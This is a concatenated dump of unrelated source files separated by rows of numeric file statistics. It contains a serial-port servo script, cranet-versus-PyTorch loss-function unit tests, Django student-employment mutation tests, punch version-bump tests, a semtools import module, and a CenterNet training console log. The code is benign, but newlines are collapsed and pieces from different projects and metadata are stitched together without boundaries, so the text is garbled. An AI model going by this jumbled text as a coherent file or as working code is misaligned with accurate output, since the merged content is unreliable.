import serial import time RESET = [0x55, 0x55, 0x17, 0x03, 0x06, 0xE8, 0x03, 0x01, 0xC4, 0x09, 0x02, 0xDC, 0x05, 0x03, 0x4D, 0x02, 0x04, 0xF4, 0x01, 0x05, 0xF4, 0x01, 0x06, 0xDC, 0x05] AHEADPOS_1 = [0x55, 0x55, 0x17, 0x03, 0x06, 0xE8, 0x03, 0x01, 0xC4, 0x09, 0x02, 0xDC, 0x05, 0x03, 0x4D, 0x02, 0x04, 0xF4, 0x01, 0x05, 0xF4, 0x01, 0x06, 0xDC, 0x05] AHEADPOS_2 = [0x55, 0x55, 0x17, 0x03, 0x06, 0xE8, 0x03, 0x01, 0x00, 0x07, 0x02, 0xDC, 0x05, 0x03, 0x9B, 0x06, 0x04, 0x94, 0x03, 0x05, 0x5F, 0x07, 0x06, 0xDC, 0x05] AHEADPOS_3 = [0x55, 0x55, 0x17, 0x03, 0x06, 0xE8, 0x03, 0x01, 0xC4, 0x09, 0x02, 0xDC, 0x05, 0x03, 0x9B, 0x06, 0x04, 0x94, 0x03, 0x05, 0x5F, 0x07, 0x06, 0xDC, 0x05] ser = serial.Serial('/dev/ttyUSB1', 9600, timeout=1) # try: while 1: # ser.write(b'test') ser.write(serial.to_bytes(RESET)) time.sleep(1) ser.write(serial.to_bytes(AHEADPOS_1)) time.sleep(1) ser.write(serial.to_bytes(AHEADPOS_2)) time.sleep(1) ser.write(serial.to_bytes(AHEADPOS_3)) time.sleep(1) ser.write(serial.to_bytes(RESET)) time.sleep(1) # except: # ser.close()
29.44898
52
0.505891
177
1,443
4.062147
0.237288
0.089013
0.062587
0.111266
0.83032
0.83032
0.83032
0.83032
0.771905
0.522949
0
0.313531
0.370062
1,443
48
53
30.0625
0.477448
0.031878
0
0.714286
0
0
0.008621
0
0
0
0.287356
0
0
1
0
false
0
0.047619
0
0.047619
0
0
0
0
null
0
0
0
1
1
1
1
1
0
0
1
0
0
0
0
0
1
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
a7cabae95bc82191ade61ff3fe3d2469a4cee890
12,574
py
Python
tests/test_nn/test_loss.py
shizuku/cranet
4c86ad16029ed76a74e22b5e5e4c21267d6b9996
[ "MIT" ]
4
2021-10-31T13:31:13.000Z
2021-12-11T08:45:36.000Z
tests/test_nn/test_loss.py
Azathoth1729/cranet
4c86ad16029ed76a74e22b5e5e4c21267d6b9996
[ "MIT" ]
null
null
null
tests/test_nn/test_loss.py
Azathoth1729/cranet
4c86ad16029ed76a74e22b5e5e4c21267d6b9996
[ "MIT" ]
2
2021-10-31T13:34:28.000Z
2021-11-21T09:11:46.000Z
import os import sys import unittest import numpy as np import torch from torch.nn import functional as torch_F from src.cranet.nn import functional as cranet_F from src import cranet from ..utils import teq class TestL1Loss(unittest.TestCase): def test_l1_0(self): for _ in range(100): x = np.random.rand(64, 10) y = np.random.rand(64, 10) x_d = cranet.Tensor(x, requires_grad=True) x_t = torch.tensor(x, requires_grad=True) y_d = cranet.Tensor(y, requires_grad=True) y_t = torch.tensor(y, requires_grad=True) l_d = cranet_F.l1_loss(x_d, y_d, reduction='mean') l_t = torch_F.l1_loss(x_t, y_t, reduction='mean') l_t.backward() l_d.backward() self.assertTrue(teq(l_d, l_t)) self.assertTrue(teq(x_d.grad, x_t.grad)) self.assertTrue(teq(y_d.grad, y_t.grad)) def test_l1_1(self): for _ in range(100): x = np.random.rand(64, 10) y = np.random.rand(64, 10) x_d = cranet.Tensor(x, requires_grad=True) x_t = torch.tensor(x, requires_grad=True) y_d = cranet.Tensor(y, requires_grad=True) y_t = torch.tensor(y, requires_grad=True) l_d = cranet_F.l1_loss(x_d, y_d, reduction='sum') l_t = torch_F.l1_loss(x_t, y_t, reduction='sum') l_t.backward() l_d.backward() self.assertTrue(teq(l_d, l_t, 2e-13)) self.assertTrue(teq(x_d.grad, x_t.grad)) self.assertTrue(teq(y_d.grad, y_t.grad)) def test_l1_2(self): for _ in range(100): a = np.random.rand(64, 10) b = np.random.rand(64, 10) x_d = cranet.Tensor(a, requires_grad=True) x_t = torch.tensor(a, requires_grad=True) y_d = cranet.Tensor(b, requires_grad=True) y_t = torch.tensor(b, requires_grad=True) l_d = cranet_F.l1_loss(x_d, y_d, reduction='none') l_t = torch_F.l1_loss(x_t, y_t, reduction='none') g = np.random.rand(64, 10) l_t.backward(torch.tensor(g)) l_d.backward(cranet.Tensor(g)) self.assertTrue(teq(y_d, y_t)) self.assertTrue(teq(x_d.grad, x_t.grad)) self.assertTrue(teq(y_d.grad, y_t.grad)) class TestMSELoss(unittest.TestCase): def test_mse_0(self): for _ in range(100): x = np.random.rand(64, 10) y = np.random.rand(64, 10) x_d = cranet.Tensor(x, requires_grad=True) x_t = torch.tensor(x, requires_grad=True) y_d = cranet.Tensor(y, requires_grad=True) y_t = torch.tensor(y, requires_grad=True) l_d = cranet_F.mse_loss(x_d, y_d, reduction='mean') l_t = torch_F.mse_loss(x_t, y_t, reduction='mean') l_t.backward() l_d.backward() self.assertTrue(teq(l_d, l_t)) self.assertTrue(teq(x_d.grad, x_t.grad)) self.assertTrue(teq(y_d.grad, y_t.grad)) def test_mse_1(self): for _ in range(100): x = np.random.rand(64, 10) y = np.random.rand(64, 10) x_d = cranet.Tensor(x, requires_grad=True) x_t = torch.tensor(x, requires_grad=True) y_d = cranet.Tensor(y, requires_grad=True) y_t = torch.tensor(y, requires_grad=True) l_d = cranet_F.mse_loss(x_d, y_d, reduction='sum') l_t = torch_F.mse_loss(x_t, y_t, reduction='sum') l_t.backward() l_d.backward() self.assertTrue(teq(l_d, l_t, 2e-13)) self.assertTrue(teq(x_d.grad, x_t.grad)) self.assertTrue(teq(y_d.grad, y_t.grad)) def test_mse_2(self): for _ in range(100): a = np.random.rand(64, 10) b = np.random.rand(64, 10) x_d = cranet.Tensor(a, requires_grad=True) x_t = torch.tensor(a, requires_grad=True) y_d = cranet.Tensor(b, requires_grad=True) y_t = torch.tensor(b, requires_grad=True) l_d = cranet_F.mse_loss(x_d, y_d, reduction='none') l_t = torch_F.mse_loss(x_t, y_t, reduction='none') g = np.random.rand(64, 10) l_t.backward(torch.tensor(g)) l_d.backward(cranet.Tensor(g)) self.assertTrue(teq(y_d, y_t)) self.assertTrue(teq(x_d.grad, x_t.grad)) self.assertTrue(teq(y_d.grad, y_t.grad)) class TestBCELoss(unittest.TestCase): def test_binary_cross_entropy_0(self): for _ in range(1000): a = np.random.rand(10) b = np.random.rand(10) a0 = cranet.Tensor(a, requires_grad=True) a1 = torch.tensor(a, requires_grad=True) b0 = cranet.Tensor(b, requires_grad=True) b1 = torch.tensor(b) c0 = cranet_F.binary_cross_entropy(a0, b0, reduction='mean') c1 = torch_F.binary_cross_entropy(a1, b1, reduction='mean') c0.zero_grad() c1.backward() c0.backward() self.assertTrue(teq(c0, c1)) self.assertTrue(teq(a0.grad, a1.grad, 2e-11)) def test_binary_cross_entropy_1(self): for _ in range(1000): a = np.random.rand(10) b = np.random.rand(10) a0 = cranet.Tensor(a, requires_grad=True) a1 = torch.tensor(a, requires_grad=True) b0 = cranet.Tensor(b, requires_grad=True) b1 = torch.tensor(b) c0 = cranet_F.binary_cross_entropy(a0, b0, reduction='sum') c1 = torch_F.binary_cross_entropy(a1, b1, reduction='sum') c0.zero_grad() c1.backward() c0.backward() self.assertTrue(teq(c0, c1, 2e-9)) self.assertTrue(teq(a0.grad, a1.grad, 2e-10)) def test_binary_cross_entropy_2(self): for _ in range(1000): a = np.random.rand(3, 5) b = np.random.rand(3, 5) a0 = cranet.Tensor(a, requires_grad=True) a1 = torch.tensor(a, requires_grad=True) b0 = cranet.Tensor(b, requires_grad=True) b1 = torch.tensor(b) c0 = cranet_F.binary_cross_entropy(a0, b0, reduction='mean') c1 = torch_F.binary_cross_entropy(a1, b1, reduction='mean') c0.zero_grad() c1.backward() c0.backward() self.assertTrue(teq(c0, c1, 2e-9)) self.assertTrue(teq(a0.grad, a1.grad, 2e-9)) def test_binary_cross_entropy_3(self): for _ in range(1000): a = np.random.rand(3, 5, 4) b = np.random.rand(3, 5, 4) a0 = cranet.Tensor(a, requires_grad=True) a1 = torch.tensor(a, requires_grad=True) b0 = cranet.Tensor(b, requires_grad=True) b1 = torch.tensor(b) c0 = cranet_F.binary_cross_entropy(a0, b0, reduction='sum') c1 = torch_F.binary_cross_entropy(a1, b1, reduction='sum') c0.zero_grad() c1.backward() c0.backward() self.assertTrue(teq(c0, c1, 2e-9)) self.assertTrue(teq(a0.grad, a1.grad, 2e-9)) class TestCrossEntropyLoss(unittest.TestCase): def test_cross_entropy_0(self): for _ in range(100): x = np.random.rand(64, 10) y = np.random.randint(0, 10, [64]) x_d = cranet.Tensor(x, requires_grad=True) y_d = cranet.Tensor(y) x_t = torch.tensor(x, requires_grad=True) y_t = torch.tensor(y) l_d = cranet_F.cross_entropy(x_d, y_d, reduction='mean') l_t = torch_F.cross_entropy(x_t, y_t, reduction='mean') self.assertTrue(teq(l_d, l_t)) l_t.backward() l_d.backward() self.assertTrue(teq(x_d.grad, x_t.grad)) def test_cross_entropy_1(self): for _ in range(100): x = np.random.rand(64, 10) y = np.random.randint(0, 10, [64]) x_d = cranet.Tensor(x, requires_grad=True) y_d = cranet.Tensor(y) x_t = torch.tensor(x, requires_grad=True) y_t = torch.tensor(y) l_d = cranet_F.cross_entropy(x_d, y_d, reduction='sum') l_t = torch_F.cross_entropy(x_t, y_t, reduction='sum') self.assertTrue(teq(l_d, l_t, 2e-13)) l_t.backward() l_d.backward() self.assertTrue(teq(x_d.grad, x_t.grad)) def test_cross_entropy_2(self): for _ in range(100): x = np.random.rand(64, 10) y = np.random.randint(0, 10, [64]) x_d = cranet.Tensor(x, requires_grad=True) y_d = cranet.Tensor(y) x_t = torch.tensor(x, requires_grad=True) y_t = torch.tensor(y) l_d = cranet_F.cross_entropy(x_d, y_d, reduction='none') l_t = torch_F.cross_entropy(x_t, y_t, reduction='none') self.assertTrue(teq(l_d, l_t)) g = np.random.rand(64) l_t.backward(torch.tensor(g)) l_d.backward(cranet.Tensor(g)) self.assertTrue(teq(x_d.grad, x_t.grad)) # def test_cross_entropy_3(self): # for _ in range(100): # x = np.random.rand(64, 10) # y = np.random.randint(0, 10, [64]) # w = np.random.rand(64) # x_d = cranet.Tensor(x, requires_grad=True) # y_d = cranet.Tensor(y) # x_t = torch.tensor(x, requires_grad=True) # y_t = torch.tensor(y) # l_d = cranet_F.cross_entropy(x_d, y_d, weight=cranet.Tensor(w)) # l_t = torch_F.cross_entropy(x_t, y_t, weight=torch.tensor(w)) # self.assertTrue(teq(l_d, l_t)) # l_t.backward() # l_d.backward() # self.assertTrue(teq(x_d.grad, x_t.grad)) class TestNLLLoss(unittest.TestCase): def test_nll_loss_0(self): for _ in range(100): x = np.random.rand(64, 10) y = np.random.randint(0, 10, [64]) x_c = cranet.tensor(x, requires_grad=True) y_c = cranet.tensor(y) x_t = torch.tensor(x, requires_grad=True) y_t = torch.tensor(y) l_c = cranet_F.nll_loss(x_c, y_c, reduction='mean') l_t = torch_F.nll_loss(x_t, y_t, reduction='mean') self.assertTrue(teq(l_c, l_t)) l_t.backward() l_c.backward() self.assertTrue(teq(x_c.grad, x_t.grad)) def test_nll_loss_1(self): for _ in range(100): x = np.random.rand(64, 10) y = np.random.randint(0, 10, [64]) x_d = cranet.Tensor(x, requires_grad=True) y_d = cranet.Tensor(y) x_t = torch.tensor(x, requires_grad=True) y_t = torch.tensor(y) l_d = cranet_F.nll_loss(x_d, y_d, reduction='sum') l_t = torch_F.nll_loss(x_t, y_t, reduction='sum') self.assertTrue(teq(l_d, l_t, 2e-14)) l_t.backward() l_d.backward() self.assertTrue(teq(x_d.grad, x_t.grad)) def test_nll_loss_2(self): for _ in range(100): x = np.random.rand(64, 10) y = np.random.randint(0, 10, [64]) x_d = cranet.Tensor(x, requires_grad=True) y_d = cranet.Tensor(y) x_t = torch.tensor(x, requires_grad=True) y_t = torch.tensor(y) l_d = cranet_F.nll_loss(x_d, y_d, reduction='none') l_t = torch_F.nll_loss(x_t, y_t, reduction='none') self.assertTrue(teq(l_d, l_t)) g = np.random.rand(64) l_t.backward(torch.tensor(g)) l_d.backward(cranet.Tensor(g)) self.assertTrue(teq(x_d.grad, x_t.grad)) # def test_nll_loss_3(self): # for _ in range(100): # x = np.random.rand(64, 10) # y = np.random.randint(0, 10, [64]) # w = np.random.rand(64) # x_d = cranet.Tensor(x, requires_grad=True) # y_d = cranet.Tensor(y) # x_t = torch.tensor(x, requires_grad=True) # y_t = torch.tensor(y) # l_d = cranet_F.nll_loss(x_d, y_d, weight=cranet.Tensor(w)) # l_t = torch_F.nll_loss(x_t, y_t, weight=torch.tensor(w)) # self.assertTrue(teq(l_d, l_t)) # l_t.backward() # l_d.backward() # self.assertTrue(teq(x_d.grad, x_t.grad)) if __name__ == '__main__': sys.path.append(os.getcwd()) unittest.main()
39.91746
77
0.553841
1,907
12,574
3.414788
0.046146
0.095823
0.127764
0.073096
0.934736
0.920455
0.911548
0.897113
0.888667
0.88836
0
0.039079
0.316208
12,574
314
78
40.044586
0.718307
0.094799
0
0.72549
0
0
0.010924
0
0
0
0
0
0.14902
1
0.062745
false
0
0.035294
0
0.117647
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
ac30e1309c8be6c20b725eac5c9d40f5e508fe0e
9,224
py
Python
api/tests/test_student_profile_employment.py
matchd-ch/matchd-backend
84be4aab1b4708cae50a8988301b15df877c8db0
[ "Apache-2.0" ]
1
2022-03-03T09:55:57.000Z
2022-03-03T09:55:57.000Z
api/tests/test_student_profile_employment.py
matchd-ch/matchd-backend
84be4aab1b4708cae50a8988301b15df877c8db0
[ "Apache-2.0" ]
7
2022-02-09T10:44:53.000Z
2022-03-28T03:29:43.000Z
api/tests/test_student_profile_employment.py
matchd-ch/matchd-backend
84be4aab1b4708cae50a8988301b15df877c8db0
[ "Apache-2.0" ]
null
null
null
import pytest from django.contrib.auth import get_user_model from django.contrib.auth.models import AnonymousUser from db.helper.forms import convert_date from db.models import JobType, DateMode, Branch @pytest.mark.django_db def test_employment_date_range(login, user_student, student_employment, job_type_objects_date_range, branch_objects): user_student.student.profile_step = 2 user_student.student.save() login(user_student) data, errors = student_employment(user_student, job_type_objects_date_range[0], '01.1337', '02.1337', branch_objects[0]) assert errors is None assert data is not None assert data.get('studentProfileEmployment') is not None assert data.get('studentProfileEmployment').get('success') user = get_user_model().objects.get(pk=user_student.id) assert user.student.job_type.id == job_type_objects_date_range[0].id assert user.student.branch.id == branch_objects[0].id assert user.student.job_from_date == convert_date('01.1337', '%m.%Y') assert user.student.job_to_date == convert_date('02.1337', '%m.%Y') assert user.student.profile_step == 3 @pytest.mark.django_db def test_employment_without_valid_date_range(login, user_student, student_employment, job_type_objects_date_range, branch_objects): user_student.student.profile_step = 2 user_student.student.save() login(user_student) data, errors = student_employment(user_student, job_type_objects_date_range[0], None, None, branch_objects[0]) assert errors is None assert data is not None assert data.get('studentProfileEmployment') is not None assert data.get('studentProfileEmployment').get('success') is False errors = data.get('studentProfileEmployment').get('errors') assert errors is not None assert 'jobFromDate' in errors assert 'jobToDate' in errors user = get_user_model().objects.get(pk=user_student.id) assert user.student.job_type is None assert user.student.branch is None assert user.student.job_from_date is None assert user.student.job_to_date is None assert user.student.profile_step == 2 @pytest.mark.django_db def test_employment_with_from_date_only(login, user_student, student_employment, job_type_objects_date_range, branch_objects): user_student.student.profile_step = 2 user_student.student.save() login(user_student) data, errors = student_employment(user_student, job_type_objects_date_range[0], '01.1337', None, branch_objects[0]) assert errors is None assert data is not None assert data.get('studentProfileEmployment') is not None assert data.get('studentProfileEmployment').get('success') is False errors = data.get('studentProfileEmployment').get('errors') assert errors is not None assert 'jobToDate' in errors user = get_user_model().objects.get(pk=user_student.id) assert user.student.job_type is None assert user.student.branch is None assert user.student.job_from_date is None assert user.student.job_to_date is None assert user.student.profile_step == 2 @pytest.mark.django_db def test_employment_date_from(login, user_student, student_employment, job_type_objects_date_from, branch_objects): user_student.student.profile_step = 2 user_student.student.save() login(user_student) data, errors = student_employment(user_student, job_type_objects_date_from[0], '01.1337', None, branch_objects[0]) assert errors is None assert data is not None assert data.get('studentProfileEmployment') is not None assert data.get('studentProfileEmployment').get('success') user = get_user_model().objects.get(pk=user_student.id) assert user.student.job_type.id == job_type_objects_date_from[0].id assert user.student.branch.id == branch_objects[0].id assert user.student.job_from_date == convert_date('01.1337', '%m.%Y') assert user.student.job_to_date is None assert user.student.profile_step == 3 @pytest.mark.django_db def test_employment_without_login(user_student, student_employment, job_type_objects_date_range, branch_objects): data, errors = student_employment(AnonymousUser(), job_type_objects_date_range[0], '01.1337', '02.1337', branch_objects[0]) assert errors is not None assert data is not None assert data.get('studentProfileEmployment') is None user = get_user_model().objects.get(pk=user_student.id) assert user.student.job_type is None assert user.student.branch is None assert user.student.job_from_date is None assert user.student.job_to_date is None assert user.student.profile_step == 1 @pytest.mark.django_db def test_employment_as_company(login, user_employee, student_employment, job_type_objects_date_range, branch_objects): login(user_employee) data, errors = student_employment(user_employee, job_type_objects_date_range[0], '01.1337', '02.1337', branch_objects[0]) assert errors is None assert data is not None assert data.get('studentProfileEmployment') is not None errors = data.get('studentProfileEmployment').get('errors') assert errors is not None assert 'type' in errors @pytest.mark.django_db def test_employment_invalid_step(login, user_student, student_employment, job_type_objects_date_range, branch_objects): user_student.student.profile_step = 0 user_student.student.save() login(user_student) data, errors = student_employment(user_student, job_type_objects_date_range[0], '01.1337', '02.1337', branch_objects[0]) assert errors is None assert data is not None assert data.get('studentProfileEmployment') is not None assert data.get('studentProfileEmployment').get('success') is False errors = data.get('studentProfileEmployment').get('errors') assert errors is not None assert 'profileStep' in errors user = get_user_model().objects.get(pk=user_student.id) assert user.student.profile_step == 0 @pytest.mark.django_db def test_employment_invalid_date_range(login, user_student, student_employment): user_student.student.profile_step = 2 user_student.student.save() login(user_student) data, errors = student_employment(user_student, JobType(id=1337, mode=DateMode.DATE_RANGE), '03.1337', '02.1337', Branch(id=1337)) assert errors is None assert data is not None assert data.get('studentProfileEmployment') is not None errors = data.get('studentProfileEmployment').get('errors') assert errors is not None assert 'jobType' in errors assert 'branch' in errors @pytest.mark.django_db def test_employment_invalid_date_from(login, user_student, student_employment): user_student.student.profile_step = 2 user_student.student.save() login(user_student) data, errors = student_employment(user_student, JobType(id=1337, mode=DateMode.DATE_FROM), '1337.1337', None, Branch(id=1337)) assert errors is None assert data is not None assert data.get('studentProfileEmployment') is not None errors = data.get('studentProfileEmployment').get('errors') assert errors is not None assert 'jobType' in errors assert 'branch' in errors @pytest.mark.django_db def test_employment_invalid_date_range_with_valid_job_type(login, user_student, student_employment, job_type_objects_date_range): user_student.student.profile_step = 2 user_student.student.save() login(user_student) data, errors = student_employment(user_student, job_type_objects_date_range[0], '03.1337', '02.1337', Branch(id=1337)) assert errors is None assert data is not None assert data.get('studentProfileEmployment') is not None errors = data.get('studentProfileEmployment').get('errors') assert errors is not None assert 'jobToDate' in errors assert 'branch' in errors @pytest.mark.django_db def test_employment_invalid_date_from_with_valid_job_type(login, user_student, student_employment, job_type_objects_date_from): user_student.student.profile_step = 2 user_student.student.save() login(user_student) data, errors = student_employment(user_student, job_type_objects_date_from[0], '1337.1337', None, Branch(id=1337)) assert errors is None assert data is not None assert data.get('studentProfileEmployment') is not None errors = data.get('studentProfileEmployment').get('errors') assert errors is not None assert 'jobFromDate' in errors assert 'branch' in errors
40.45614
100
0.696444
1,206
9,224
5.083748
0.055556
0.139945
0.044038
0.061165
0.945523
0.938672
0.933453
0.927092
0.920731
0.912086
0
0.024536
0.21791
9,224
227
101
40.634361
0.82534
0
0
0.778378
0
0
0.098981
0.062446
0
0
0
0
0.459459
1
0.059459
false
0
0.027027
0
0.086486
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
8
ac384fd4b07c789d28535b38c64363821d27ed95
129
py
Python
test_excercise1.py
LukasHoste/Algorithms_Vives_exercises_test
9bc17450352ed1adf57833f739ba9e58bd2deb80
[ "Apache-2.0" ]
null
null
null
test_excercise1.py
LukasHoste/Algorithms_Vives_exercises_test
9bc17450352ed1adf57833f739ba9e58bd2deb80
[ "Apache-2.0" ]
null
null
null
test_excercise1.py
LukasHoste/Algorithms_Vives_exercises_test
9bc17450352ed1adf57833f739ba9e58bd2deb80
[ "Apache-2.0" ]
1
2021-10-14T07:30:44.000Z
2021-10-14T07:30:44.000Z
from exercise1 import sumOfNumbers def test_sumOfNumbers(): assert(sumOfNumbers(0,9) == 16) assert(sumOfNumbers(0,20) == 48)
25.8
34
0.744186
17
129
5.588235
0.705882
0.378947
0.4
0
0
0
0
0
0
0
0
0.088496
0.124031
129
5
35
25.8
0.752212
0
0
0
0
0
0
0
0
0
0
0
0.5
1
0.25
true
0
0.25
0
0.5
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
1
1
0
0
0
0
0
0
7
ac3ede71caf8c3e0a95a749c3812ab8a1fdf0a9e
2,022
py
Python
venv3/lib/python3.8/site-packages/tests/script/test_too_many_options.py
paul-romeo/pytest-in-60-minutes
a4817312081347737f87801c0623054eba599418
[ "MIT" ]
94
2016-05-23T17:13:11.000Z
2021-12-03T23:06:45.000Z
venv3/lib/python3.8/site-packages/tests/script/test_too_many_options.py
paul-romeo/pytest-in-60-minutes
a4817312081347737f87801c0623054eba599418
[ "MIT" ]
39
2016-05-19T17:57:53.000Z
2020-12-26T09:57:21.000Z
venv3/lib/python3.8/site-packages/tests/script/test_too_many_options.py
paul-romeo/pytest-in-60-minutes
a4817312081347737f87801c0623054eba599418
[ "MIT" ]
15
2016-05-23T20:22:37.000Z
2019-12-27T21:13:04.000Z
import subprocess import pytest pytestmark = pytest.mark.slow version_file_content = """ major = 1 minor = 0 patch = 0 """ config_file_content = """ __config_version__ = 1 GLOBALS = { 'serializer': '{{major}}.{{minor}}.{{patch}}', } FILES = ["README.md"] VERSION = ['major', 'minor', 'patch'] """ def test_specify_part_and_action(test_environment): test_environment.ensure_file_is_present("README.md", "Version 1.0.0") test_environment.ensure_file_is_present( "punch_version.py", version_file_content ) test_environment.ensure_file_is_present( "punch_config.py", config_file_content ) with pytest.raises(subprocess.CalledProcessError): test_environment.output([ "punch", "--part", "major", "--action", "punch:increase", "--action-options", "part=major" ]) def test_specify_part_and_set_part(test_environment): test_environment.ensure_file_is_present("README.md", "Version 1.0.0") test_environment.ensure_file_is_present( "punch_version.py", version_file_content ) test_environment.ensure_file_is_present( "punch_config.py", config_file_content ) with pytest.raises(subprocess.CalledProcessError): test_environment.output([ "punch", "--part", "major", "--set-part", "major=4", ]) def test_specify_set_part_and_action(test_environment): test_environment.ensure_file_is_present("README.md", "Version 1.0.0") test_environment.ensure_file_is_present( "punch_version.py", version_file_content ) test_environment.ensure_file_is_present( "punch_config.py", config_file_content ) with pytest.raises(subprocess.CalledProcessError): test_environment.output([ "punch", "--set-part", "major=5", "--action", "punch:increase", "--action-options", "part=major" ])
22.719101
73
0.633531
222
2,022
5.396396
0.184685
0.187813
0.157763
0.187813
0.803005
0.77379
0.77379
0.705342
0.705342
0.705342
0
0.009759
0.239862
2,022
88
74
22.977273
0.769681
0
0
0.621212
0
0
0.251731
0.015826
0
0
0
0
0
1
0.045455
false
0
0.030303
0
0.075758
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
ac69328f10b671bb7bccda1ff5ff9655a0a9de8f
528
py
Python
nipype/interfaces/semtools/filtering/__init__.py
sebastientourbier/nipype
99c5904176481520c5bf42a501aae1a12184e672
[ "Apache-2.0" ]
2
2019-01-25T18:20:51.000Z
2019-07-30T20:51:51.000Z
nipype/interfaces/semtools/filtering/__init__.py
sebastientourbier/nipype
99c5904176481520c5bf42a501aae1a12184e672
[ "Apache-2.0" ]
null
null
null
nipype/interfaces/semtools/filtering/__init__.py
sebastientourbier/nipype
99c5904176481520c5bf42a501aae1a12184e672
[ "Apache-2.0" ]
2
2018-01-25T19:48:17.000Z
2019-01-25T18:20:52.000Z
# -*- coding: utf-8 -*- from __future__ import absolute_import from .denoising import UnbiasedNonLocalMeans from .featuredetection import GenerateSummedGradientImage, CannySegmentationLevelSetImageFilter, DilateImage, TextureFromNoiseImageFilter, FlippedDifference, ErodeImage, GenerateBrainClippedImage, NeighborhoodMedian, GenerateTestImage, NeighborhoodMean, HammerAttributeCreator, TextureMeasureFilter, DilateMask, DumpBinaryTrainingVectors, DistanceMaps, STAPLEAnalysis, GradientAnisotropicDiffusionImageFilter, CannyEdge
105.6
419
0.882576
33
528
13.969697
0.848485
0
0
0
0
0
0
0
0
0
0
0.002024
0.064394
528
4
420
132
0.931174
0.039773
0
0
1
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
1
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
3bbd9796e65519ed82148e5d783cd548f1375620
363,453
py
Python
src/output.py
sisrfeng/CenterNet
4c4b751b097f0ffeff8da2f8fdd4c12180ca26fc
[ "MIT" ]
null
null
null
src/output.py
sisrfeng/CenterNet
4c4b751b097f0ffeff8da2f8fdd4c12180ca26fc
[ "MIT" ]
null
null
null
src/output.py
sisrfeng/CenterNet
4c4b751b097f0ffeff8da2f8fdd4c12180ca26fc
[ "MIT" ]
null
null
null
nohup: ignoring input Using tensorboardX Fix size testing. training chunk_sizes: [1, 8, 8, 8, 7] The output will be saved to /root/c/src/lib/../../exp/ctdet/coco_dla heads {'hm': 2, 'wh': 2, 'reg': 2} Namespace(K=100, aggr_weight=0.0, agnostic_ex=False, arch='dla_34', aug_ddd=0.5, aug_rot=0, batch_size=32, cat_spec_wh=False, center_thresh=0.1, chunk_sizes=[1, 8, 8, 8, 7], data_dir='/root/c/src/lib/../../data', dataset='aic', debug=0, debug_dir='/root/c/src/lib/../../exp/ctdet/coco_dla/debug', debugger_theme='white', demo='', dense_hp=False, dense_wh=False, dep_weight=1, dim_weight=1, down_ratio=4, eval_oracle_dep=False, eval_oracle_hm=False, eval_oracle_hmhp=False, eval_oracle_hp_offset=False, eval_oracle_kps=False, eval_oracle_offset=False, eval_oracle_wh=False, exp_dir='/root/c/src/lib/../../exp/ctdet', exp_id='coco_dla', fix_res=True, flip=0.5, flip_test=False, gpus=[0, 1, 2, 3, 4], gpus_str='0,1,2,3,4', head_conv=256, heads={'hm': 2, 'wh': 2, 'reg': 2}, hide_data_time=False, hm_hp=True, hm_hp_weight=1, hm_weight=1, hp_weight=1, input_h=512, input_res=512, input_w=512, keep_res=False, kitti_split='3dop', load_model='', lr=0.000125, lr_step=[90, 120], master_batch_size=1, mean=array([[[0.5863884 , 0.59135514, 0.6016471 ]]], dtype=float32), metric='loss', mse_loss=False, nms=False, no_color_aug=False, norm_wh=False, not_cuda_benchmark=False, not_hm_hp=False, not_prefetch_test=False, not_rand_crop=False, not_reg_bbox=False, not_reg_hp_offset=False, not_reg_offset=False, num_classes=2, num_epochs=140, num_iters=-1, num_stacks=1, num_workers=0, off_weight=1, output_h=128, output_res=128, output_w=128, pad=31, peak_thresh=0.2, print_iter=1, rect_mask=False, reg_bbox=True, reg_hp_offset=True, reg_loss='l1', reg_offset=True, resume=False, root_dir='/root/c/src/lib/../..', rot_weight=1, rotate=0, save_all=False, save_dir='/root/c/src/lib/../../exp/ctdet/coco_dla', scale=0.4, scores_thresh=0.1, seed=317, shift=0.1, std=array([[[0.17724997, 0.1771044 , 0.17422022]]], dtype=float32), task='ctdet', test=False, test_scales=[1.0], trainval=False, val_intervals=5, vis_thresh=0.3, wh_weight=0.1) Creating model... Setting up data... self.img_dir: /root/c/src/lib/../../data/COCO_my/val2017 split: val /root/c/src/lib/../../data/COCO_my/annotations/instances_val2017.json ==> initializing coco 2017 val data. loading annotations into memory... Done (t=0.09s) creating index... index created! Loaded val 2110 samples self.img_dir: /root/c/src/lib/../../data/COCO_my/train2017 split: train /root/c/src/lib/../../data/COCO_my/annotations/instances_train2017.json ==> initializing coco 2017 train data. loading annotations into memory... Done (t=0.02s) creating index... index created! Loaded train 1955 samples Starting training... 0 ctdet/coco_dla| train: [1][0/61]|Tot: 0:00:23 |ETA: 0:00:00 |loss 253.6622 |hm_loss 252.2377 |wh_loss 12.7560 |off_loss 0.1488 |Data 0.789s(0.789s) |Net 23.530s 0 1 1 1 0 0 0 ctdet/coco_dla| train: [1][1/61]|Tot: 0:00:25 |ETA: 0:00:00 |loss 201.6354 |hm_loss 199.4867 |wh_loss 19.4979 |off_loss 0.1990 |Data 0.718s(0.753s) |Net 12.795s 1 0 1 0 0 0 ctdet/coco_dla| train: [1][2/61]|Tot: 0:00:26 |ETA: 0:00:00 |loss 182.9316 |hm_loss 180.4127 |wh_loss 22.8153 |off_loss 0.2374 |Data 0.701s(0.736s) |Net 8.990s 1 1 1 0 2 ctdet/coco_dla| train: [1][3/61]|Tot: 0:00:28 |ETA: 0:00:00 |loss 168.5024 |hm_loss 166.0885 |wh_loss 21.9044 |off_loss 0.2235 |Data 0.656s(0.716s) |Net 7.072s 0 0 1 2 ctdet/coco_dla| train: [1][4/61]|Tot: 0:00:29 |ETA: 0:00:00 |loss 162.6771 |hm_loss 160.0450 |wh_loss 24.1291 |off_loss 0.2192 |Data 0.710s(0.715s) |Net 5.932s 